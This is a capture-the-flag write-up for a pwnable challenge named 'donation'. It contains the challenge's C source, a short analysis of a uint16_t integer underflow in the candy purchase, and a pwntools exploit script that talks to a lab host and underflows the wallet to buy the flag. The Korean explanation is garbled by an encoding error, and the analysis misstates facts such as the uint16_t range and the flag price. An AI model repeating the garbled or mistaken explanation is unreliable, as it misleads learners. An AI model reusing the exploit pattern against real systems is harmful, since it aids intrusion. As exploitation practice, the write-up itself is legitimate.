๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : donation
์บ๋๋ฅผ ๊ตฌ๋งคํ ๋ ์ ์ ์ธ๋ํ๋ก์ฐ๊ฐ ๋ฐ์ํจ์ ์ธ์งํ๊ณ , ์ด๋ฅผ ํตํด ํ๋๊ทธ๋ฅผ ๊ตฌ๋งคํ๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ์ค์ ๋ฌธ์ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค. ์ด ๋ฌธ์ ๋ cํ์ผ์ด ์ ๊ณต๋๋ค.
donation.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
uint16_t your_money = 0;
uint16_t dona_money = 0;
void get_flag()
{
FILE *f = fopen("/home/UF/flag", "r");
char buf[256];
if (f == NULL)
{
puts("flag.txt not found - call SCP member\n");
exit(0);
}
else
{
fgets(buf, sizeof(buf), f);
printf("%s\n", buf);
exit(0);
}
}
void menu()
{
printf("======MENU======\n");
printf("1. check money\n");
printf("2. donate money\n");
printf("3. make money\n");
printf("4. shop\n");
printf("================\n");
}
void shop_menu()
{
printf("======MENU======\n");
printf("1. buy flag\n");
printf("2. buy candy\n");
printf("3. return to menu\n");
printf("================\n");
}
void donate_menu()
{
printf("======MENU======\n");
printf("1. Total donation amount\n");
printf("2. Donate my money\n");
printf("3. return to menu\n");
printf("================\n");
}
void shop()
{
int choice;
while (1)
{
shop_menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
if (your_money >= 65530)
{
your_money -= 65530;
printf("Purchase completed. Please come again. ~_~\n");
get_flag();
}
else
{
printf("The flag is 65,530 won. You have no money!!\n");
}
break;
case 2:
your_money -= 300;
dona_money += 300;
printf("you bought candy!\n");
break;
case 3:
return;
}
}
}
int problem()
{
srand(time(NULL));
int num1 = rand() % 9999 + 1;
int num2 = rand() % 9999 + 1;
int operator= rand() % 4;
float answer = 0.0;
switch (operator)
{
case 0:
answer = num1 + num2;
printf("%d + %d = ?\n", num1, num2);
break;
case 1:
answer = num1 - num2;
printf("%d - %d = ?\n", num1, num2);
break;
case 2:
answer = num1 * num2;
printf(" %d * %d = ?\n", num1, num2);
break;
case 3:
answer = (float)num1 / num2;
printf("%d / %d = ?\n", num1, num2);
break;
}
float userAnswer;
printf("Input answer: ");
scanf("%f", &userAnswer);
if (userAnswer == answer)
return 1;
else
return 0;
}
void work()
{
int answer;
answer = problem();
if (answer == 1 && your_money < 65500)
{
printf("correct. you get 10 won\n");
your_money += 10;
}
else
{
printf("Incorrect.\n");
}
}
void check()
{
printf("There is %d won in your wallet.\n", your_money);
}
void donate()
{
int choice;
uint16_t input_money;
donate_menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
printf("Total donate money is %d won.\n", dona_money);
break;
case 2:
printf("How much are you going to donate?\n");
scanf("%hd", &input_money);
if (your_money < input_money)
{
printf("You don't have enough money to donate the money. Get out of here right now!!!!!\n");
exit(-1);
}
your_money -= input_money;
dona_money += input_money;
printf("%d won has been donated.\n", input_money);
break;
case 3:
return;
}
}
int main()
{
int choice;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Hello!, There is %d won in your wallet.\n", your_money);
while (1)
{
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
check();
break;
case 2:
donate();
break;
case 3:
work();
break;
case 4:
shop();
break;
}
}
return 0;
}
์ฝ๋๊ฐ ์คํ๋๋ฉด ๋์ ์ง๊ฐ๊ณผ ๊ธฐ๋ถ๊ธ์ด ์ด๋ฆฌ๋ฉฐ, ํจ์๋ค์ ํตํด ๊ธฐ๋ถ๋ฅผ ํ๊ฑฐ๋, ๋์ ๋ฒ๊ฑฐ๋, ๋ฌผ๊ฑด์ ๊ตฌ๋งคํ ์ ์๊ฒ ๋๋ค. ํด๋น ํจ์๋ค์ ์ด์ฉํ์ฌ ํ๋๊ทธ๋ฅผ ๊ตฌ๋งคํ๋ ๋ฌธ์ ์ด๋ค.
๐ง ๋ถ์
uint16_t your_money = 0;
uint16_t dona_money = 0;
void shop()
{
int choice;
while (1)
{
shop_menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
if (your_money >= 65530)
{
your_money -= 65530;
printf("Purchase completed. Please come again. ~_~\n");
get_flag();
}
else
{
printf("The flag is 65,530 won. You have no money!!\n");
}
break;
case 2:
your_money -= 300;
dona_money += 300;
printf("you bought candy!\n");
break;
case 3:
return;
}
}
}
๋จผ์ , ์ ์ญ๋ณ์๋ก your_money
์ dona_money
๊ฐ ์ด๊ธฐํ๋๋ค. ์ด ๋ ๋ณ์์ ์๋ฃํ์ uint16_t
์ด๋ค.
๊ทธ๋ฆฌ๊ณ shop
ํจ์์ case 2
์์ **your_money -= 300;**
์์ ์ ์ ์ธ๋ํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ค.
๋ฐ๋ผ์, uint16_t
์ ๋ฒ์๋ 0~65536
์ด๊ธฐ ๋๋ฌธ์, 0 - 300
์ ํ๋ฉด 65236
์ด ๋๋ค.
ํ๋๊ทธ๋ฅผ ๊ตฌ๋งคํ๊ธฐ ์ํด์๋ 65300์
์ด ์์ด์ผ ํ๊ณ , ์ด๋ work
ํจ์์ donation
ํจ์๋ก ๊ฐ์ ๋ง์ถฐ์ค ์ ์๋ค.
void work()
{
int answer;
answer = problem();
if (answer == 1 && your_money < 65500)
{
printf("correct. you get 10 won\n");
your_money += 10;
}
else
{
printf("Incorrect.\n");
}
}
void donate()
{
int choice;
uint16_t input_money;
donate_menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
printf("Total donate money is %d won.\n", dona_money);
break;
case 2:
printf("How much are you going to donate?\n");
scanf("%hd", &input_money);
if (your_money < input_money)
{
printf("You don't have enough money to donate the money. Get out of here right now!!!!!\n");
exit(-1);
}
your_money -= input_money;
dona_money += input_money;
printf("%d won has been donated.\n", input_money);
break;
case 3:
return;
}
}
work
ํจ์๋ 65500์๊น์ง๋ง ๋์ ๋ฒ ์ ์์ผ๋ฏ๋ก, ์บ๋์ ๊ฐ๊ฒฉ์ธ 300์์ ๋ฏธ๋ฆฌ ์๊ฐํด์ ๊ฐ์ ๊ตฌ์ฑํด์ผํ๋ค. ๋ํ, donation
ํจ์๋ฅผ ์ฌ์ฉํด์ผ 65530~65535
์ฌ์ด์ ๊ฐ์ ๊ตฌ์ฑํ ์ ์๋ค.
๊ฐ๊ฐ์ ํจ์ ํน์ง์ ์ดํดํ๊ณ , ์ธ๋ํ๋ก์ฐ ์ ๊ฐ์ ๊ณ์ฐํด์ ์์์ ๋ง๊ฒ ํธ์ถํด์ฃผ๋ฉด ํ๋๊ทธ๋ฅผ ๊ตฌ๋งคํ ์ ์๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
#p = process('./donation')
p = remote('192.168.83.137',13572)
def work():
p.sendlineafter('================\n',str(3))
line = p.recvline()
numbers = re.findall(r'\d+', str(line))
operators = re.findall(r'[-+*/]', str(line))
result = eval(numbers[0]+operators[0]+numbers[1])
p.sendline(str(result))
p.recvuntil(b'\n')
def donate(money):
p.sendlineafter('================\n',str(2))
p.sendlineafter('================\n',str(2))
p.sendlineafter('How much are you going to donate?', str(money))
def buy_candy():
p.sendlineafter('================\n',str(4))
p.sendlineafter('================\n',str(2))
p.sendlineafter('================\n',str(3))
def get_flag():
p.sendlineafter('================\n',str(4))
p.sendlineafter('================\n',str(1))
for i in range(30):
work()
donate(1)
buy_candy()
get_flag()
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.